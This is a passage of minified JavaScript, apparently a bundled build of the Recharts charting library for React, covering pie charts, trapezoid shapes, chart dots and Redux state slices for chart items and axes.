En(e)===cf};Le.isContextProvider=function(e){return En(e)===uf};Le.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===av};Le.isForwardRef=function(e){return En(e)===df};Le.isFragment=function(e){return En(e)===sf};Le.isLazy=function(e){return En(e)===hf};Le.isMemo=function(e){return En(e)===mf};Le.isPortal=function(e){return En(e)===sv};Le.isProfiler=function(e){return En(e)===lf};Le.isStrictMode=function(e){return En(e)===of};Le.isSuspense=function(e){return En(e)===ff};Le.isSuspenseList=function(e){return En(e)===pf};Le.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===sf||e===lf||e===of||e===ff||e===pf||typeof e=="object"&&e!==null&&(e.$$typeof===hf||e.$$typeof===mf||e.$$typeof===uf||e.$$typeof===cf||e.$$typeof===df||e.$$typeof===W$||e.getModuleId!==void 0)};Le.typeOf=En;nS.exports=Le;var U$=nS.exports,Kb=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",qb=null,pp=null,rS=e=>{if(e===qb&&Array.isArray(pp))return pp;var t=[];return p.Children.forEach(e,n=>{Pt(n)||(U$.isFragment(n)?t=t.concat(rS(n.props.children)):t.push(n))}),pp=t,qb=e,t};function iS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>Kb(i)):r=[Kb(t)],rS(e).forEach(i=>{var a=Co(i,"type.displayName")||Co(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var aS=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,sS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(sS);var V$=sS.isPlainObject;const H$=Lr(V$);var Yb,Gb,Xb,Zb,Qb;function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function e2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Jb(Object(n),!0).forEach(function(r){K$(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Jb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function K$(e,t,n){return(t=q$(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function q$(e){var t=Y$(e,"string");return typeof t=="symbol"?t:t+""}function Y$(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Ou(){return Ou=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ou.apply(null,arguments)}function Rs(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var t2=(e,t,n,r,i)=>{var a=n-r,o;return o=Qe(Yb||(Yb=Rs(["M ",",",""])),e,t),o+=Qe(Gb||(Gb=Rs(["L ",",",""])),e+n,t),o+=Qe(Xb||(Xb=Rs(["L ",",",""])),e+n-a/2,t+i),o+=Qe(Zb||(Zb=Rs(["L ",",",""])),e+n-a/2-r,t+i),o+=Qe(Qb||(Qb=Rs(["L ",","," Z"])),e,t),o},G$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},X$=e=>{var t=fn(e,G$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=$d(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var U=m.current.getTotalLength();U&&x(U)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Xe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Ou({},It(t),{className:k,d:t2(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,_=b.current,A=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=gN(["strokeDasharray"],u,c);return p.createElement(Rd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},U=>{var D=St(S,i,U),M=St(N,a,U),F=St(z,o,U),R=St(_,n,U),W=St(A,r,U);m.current&&(g.current=D,y.current=M,v.current=F,b.current=R,w.current=W);var $=U>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return p.createElement("path",Ou({},It(t),{className:k,d:t2(R,W,D,M,F),ref:m,style:e2(e2({},$),t.style)}))})},Z$=["option","shapeType","activeClassName"];function Q$(e,t){if(e==null)return{};var n,r,i=J$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function J$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function n2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tu(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?n2(Object(n),!0).forEach(function(r){eB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):n2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function eB(e,t,n){return(t=tB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function tB(e){var t=nB(e,"string");return typeof t=="symbol"?t:t+""}function nB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function rB(e,t){return Tu(Tu({},t),e)}function iB(e,t){return e==="symbols"}function r2(e){var{shapeType:t,elementProps:n}=e;switch(t){case"rectangle":return p.createElement(jN,n);case"trapezoid":return p.createElement(X$,n);case"sector":return p.createElement(zN,n);case"symbols":if(iB(t))return p.createElement(Vj,n);break;case"curve":return p.createElement(Ba,n);default:return null}}function aB(e){return p.isValidElement(e)?e.props:e}function sB(e){var{option:t,shapeType:n,activeClassName:r="recharts-active-shape"}=e,i=Q$(e,Z$),a;if(p.isValidElement(t))a=p.cloneElement(t,Tu(Tu({},i),aB(t)));else if(typeof t=="function")a=t(i,i.index);else if(H$(t)&&typeof t!="boolean"){var o=rB(t,i);a=p.createElement(r2,{shapeType:n,elementProps:o})}else{var l=i;a=p.createElement(r2,{shapeType:n,elementProps:l})}return i.isActive?p.createElement(Gt,{className:r},a):a}var oB=(e,t,n)=>{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(l3({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},lB=e=>{var t=it();return(n,r)=>i=>{e==null||e(n,r,i),t(pD())}},cB=(e,t,n)=>{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(mD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function oS(e){var{tooltipEntrySettings:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(cD(t)):i.current!==t&&n(uD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(dD(i.current)),i.current=null)},[n]),null}function uB(e){var{legendPayload:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(mN(t)):i.current!==t&&n(hN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(xN(i.current)),i.current=null)},[n]),null}function dB(e){var{legendPayload:t}=e,n=it(),r=ye(Me),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(mN(t)):i.current!==t&&n(hN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(xN(i.current)),i.current=null)},[n]),null}var mp,fB=()=>{var[e]=p.useState(()=>Po("uid-"));return e},pB=(mp=K2.useId)!==null&&mp!==void 0?mp:fB;function mB(e,t){var n=pB();return t||(e?"".concat(e,"-").concat(n):n)}var hB=p.createContext(void 0),lS=e=>{var{id:t,type:n,children:r}=e,i=mB("recharts-".concat(n),t);return p.createElement(hB.Provider,{value:i},r(i))},xB={cartesianItems:[],polarItems:[]},cS=Xt({name:"graphicalItems",initialState:xB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:Ue()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:Ue()},removeCartesianGraphicalItem:{reducer(e,t){var n=Fn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:Ue()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:Ue()},removePolarGraphicalItem:{reducer(e,t){var n=Fn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:Ue()}}}),{addCartesianGraphicalItem:vB,replaceCartesianGraphicalItem:gB,removeCartesianGraphicalItem:yB,addPolarGraphicalItem:bB,removePolarGraphicalItem:wB}=cS.actions,jB=cS.reducer,kB=e=>{var t=it(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(vB(e)):n.current!==e&&t(gB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(yB(n.current)),n.current=null)},[t]),null},NB=p.memo(kB);function SB(e){var t=it();return p.useLayoutEffect(()=>(t(bB(e)),()=>{t(wB(e))}),[t,e]),null}var zB=["key"],CB=["onMouseEnter","onClick","onMouseLeave"],PB=["id"],EB=["id"];function i2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function et(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?i2(Object(n),!0).forEach(function(r){AB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):i2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function AB(e,t,n){return(t=_B(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _B(e){var t=OB(e,"string");return typeof t=="symbol"?t:t+""}function OB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function gi(){return gi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},gi.apply(null,arguments)}function xf(e,t){if(e==null)return{};var n,r,i=TB(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function TB(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function MB(e){var t=p.useMemo(()=>iS(e.children,nf),[e.children]),n=ye(r=>$$(r,e.id,t));return n==null?null:p.createElement(dB,{legendPayload:n})}var LB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Pd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(oS,{tooltipEntrySettings:f})}),IB=(e,t)=>e>t?"start":e<t?"end":"middle",DB=(e,t,n)=>sn(typeof t=="function"?t(e):t,n,n*.8),RB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=kN(a,o),c=i+sn(e.cx,a,a/2),u=r+sn(e.cy,o,o/2),d=sn(e.innerRadius,l,0),f=DB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},$B=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},BB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Xe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=xf(t,zB);return p.createElement(Ba,gi({},i,{type:"linear",className:n}))},FB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Xe("recharts-pie-label-text",T$(e));return p.createElement(nv,gi({},t,{alignmentBaseline:"middle",className:i}),r)};function WB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=Cr(n),c=zo(i),u=zo(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=st(m.cx,m.cy,m.outerRadius+d,x),y=et(et(et(et({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:IB(g.x,m.cx)},g),v=et(et(et(et({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[st(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(Si,{zIndex:Ht.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Gt,null,a&&BB(a,v),FB(i,y,Fe(m,o))))});return p.createElement(Gt,{className:"recharts-pie-labels"},f)}function UB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(X3,{label:i}):p.createElement(WB,{sectors:t,props:n,showLabels:r})}function VB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=ye(ns),c=ye(k3),u=ye(JD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=xf(i,CB),x=oB(d,i.dataKey,o),g=lB(m),y=cB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=et(et({},v),{},{stroke:v.stroke,tabIndex:-1,[Qk]:b,[Jk]:o});return p.createElement(Gt,gi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},o6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(sB,gi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function HB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=$B(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Fe(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Fe(N,u,0);return S+(he(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Fe(S,u,0),_=Fe(S,d,N),A=RB(n,a,S),O=(he(z)?z:0)/w,P,I=et(et({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ut(h)*g*(z!==0?1:0):P=l;var U=P+Ut(h)*((z!==0?m:0)+O*b),D=(P+U)/2,M=(A.innerRadius+A.outerRadius)/2,F=[{name:_,value:z,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],R=st(A.cx,A.cy,M,D);return k=et(et(et(et({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:_,tooltipPayload:F,midAngle:D,middleRadius:M,tooltipPosition:R},I),A),{},{value:z,dataKey:u,startAngle:P,endAngle:U,payload:I,paddingAngle:Ut(h)*g}),k})}return j}function KB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(w$,{value:t?i:void 0},r)}function qB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=$d(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(KB,{showLabels:!g,sectors:i},p.createElement(Rd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,_)=>{var A=x&&x[_],O=_>0?Co(z,"paddingAngle",0):0;if(A){var P=St(A.endAngle-A.startAngle,z.endAngle-z.startAngle,w),I=et(et({},z),{},{startAngle:N+O,endAngle:N+P+O});k.push(I),N=I.endAngle}else{var{endAngle:U,startAngle:D}=z,M=St(0,U-D,w),F=et(et({},z),{},{startAngle:N+O,endAngle:N+M+O});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Gt,null,p.createElement(VB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(UB,{showLabels:!g,sectors:i,props:t}),t.children)}var YB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ht.area};function GB(e){var{id:t}=e,n=xf(e,PB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>iS(e.children,nf),[e.children]),l=ye(d=>B$(d,t,o)),c=p.useRef(null),u=Xe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Gt,{tabIndex:a,className:u})):p.createElement(Si,{zIndex:e.zIndex},p.createElement(LB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Gt,{tabIndex:a,className:u},p.createElement(qB,{props:et(et({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function uS(e){var t=fn(e,YB),{id:n}=t,r=xf(t,EB),i=Cr(r);return p.createElement(lS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(SB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(MB,gi({},r,{id:a})),p.createElement(GB,gi({},r,{id:a}))))}uS.displayName="Pie";var XB=["points"];function a2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hp(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?a2(Object(n),!0).forEach(function(r){ZB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):a2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function ZB(e,t,n){return(t=QB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function QB(e){var t=JB(e,"string");return typeof t=="symbol"?t:t+""}function JB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Mu(){return Mu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Mu.apply(null,arguments)}function eF(e,t){if(e==null)return{};var n,r,i=tF(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function tF(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function nF(e){var{option:t,dotProps:n,className:r}=e;if(p.isValidElement(t))return p.cloneElement(t,n);if(typeof t=="function")return t(n);var i=Xe(r,typeof t!="boolean"?t.className:""),a=n??{},{points:o}=a,l=eF(a,XB);return p.createElement(Z3,Mu({},l,{className:i}))}function rF(e,t){return e==null?!1:t?!0:e.length===1}function iF(e){var{points:t,dot:n,className:r,dotClassName:i,dataKey:a,baseProps:o,needClip:l,clipPathId:c,zIndex:u=Ht.scatter}=e;if(!rF(t,n))return null;var d=aS(n),f=s_(n),m=t.map((x,g)=>{var y,v,b=hp(hp(hp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(nF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(Si,{zIndex:u},p.createElement(Gt,Mu({className:r},h),m))}function s2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function o2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?s2(Object(n),!0).forEach(function(r){aF(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):s2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function aF(e,t,n){return(t=sF(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function sF(e){var t=oF(e,"string");return typeof t=="symbol"?t:t+""}function oF(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var dS=0,lF={xAxis:{},yAxis:{},zAxis:{}},fS=Xt({name:"cartesianAxis",initialState:lF,reducers:{addXAxis:{reducer(e,t){e.xAxis[t.payload.id]=t.payload},prepare:Ue()},replaceXAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.xAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.xAxis[n.id],e.xAxis[r.id]=r)},prepare:Ue()},removeXAxis:{reducer(e,t){delete e.xAxis[t.payload.id]},prepare:Ue()},addYAxis:{reducer(e,t){e.yAxis[t.payload.id]=t.payload},prepare:Ue()},replaceYAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.yAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.yAxis[n.id],e.yAxis[r.id]=r)},prepare:Ue()},removeYAxis:{reducer(e,t){delete e.yAxis[t.payload.id]},prepare:Ue()},addZAxis:{reducer(e,t){e.zAxis[t.payload.id]=t.payload},prepare:Ue()},replaceZAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.zAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.zAxis[n.id],e.zAxis[r.id]=r)},prepare:Ue()},removeZAxis:{reducer(e,t){delete e.zAxis[t.payload.id]},prepare:Ue()},updateYAxisWidth(e,t){var{id:n,width:r}=t.payload,i=e.yAxis[n];if(i){var a,o=i.widthHistory||[];if(o.length===3&&o[0]===o[2]&&r===o[1]&&r!==i.width&&Math.abs(r-((a=o[0])!==null&&a!==void 0?a:0))<=1)return;var l=[...o,r].slice(-3);e.yAxis[n]=o2(o2({},i),{},{width:r,widthHistory:l})}}}}),{addXAxis:BV,replaceXAxis:FV,removeXAxis:WV,addYAxis:UV,replaceYAxis:VV,removeYAxis:HV,addZAxis:KV,replaceZAxis:qV,removeZAxis:YV,updateYAxisWidth:GV}=fS.actions,cF=fS.reducer,uF=T([yt],e=>({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),dF=T([uF,Rr,$r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),ov=()=>ye(dF),fF=()=>ye(iR);function l2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xp(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?l2(Object(n),!0).forEach(function(r){pF(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):l2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function pF(e,t,n){return(t=mF(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mF(e){var t=hF(e,"string");return typeof t=="symbol"?t:t+""}function hF(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var xF=e=>{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=xp(xp(xp({},l),zo(i)),Sx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(Z3,c),p.createElement(Gt,{className:"recharts-active-dot",clipPath:o},u)};function c2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ht.activeDot}=e,l=ye(ns),c=fF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Pt(u)?null:p.createElement(Si,{zIndex:o},p.createElement(xF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var 